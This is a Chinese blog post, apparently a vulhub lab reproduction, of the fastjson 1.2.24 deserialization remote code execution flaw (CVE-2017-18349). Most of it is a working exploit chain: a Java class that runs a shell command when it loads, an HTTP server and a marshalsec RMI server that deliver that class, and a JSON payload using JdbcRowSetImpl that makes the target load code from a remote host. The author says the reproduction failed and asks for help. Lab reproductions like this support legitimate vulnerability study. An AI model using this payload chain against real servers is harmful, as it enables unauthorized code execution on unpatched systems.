fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

漏洞背景

Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。远程攻击者可通过发送特制的JSON请求利用该漏洞执行任意代码。

漏洞复现

首先新建java脚本:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac TouchFile.java生成class文件
在这里插入图片描述
在该目录下用python个简便的HTTP

python2 -m SimpleHTTPServer 7777
或
python3 -m http.server 7777

marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:(需要mvn编译marshalsec)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your_ip:7777/#TouchFile" 9999

再向靶机发送payload,带上刚刚开的RMI

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://your_ip:9999/TouchFile",
        "autoCommit":true
    }
}

死活复现不出来,有没有大佬帮帮孩子,已经哭傻了…
报错信息:
fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_第1张图片
fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_第2张图片
在这里插入图片描述

你可能感兴趣的:(vulhub漏洞复现,安全,java,jdk)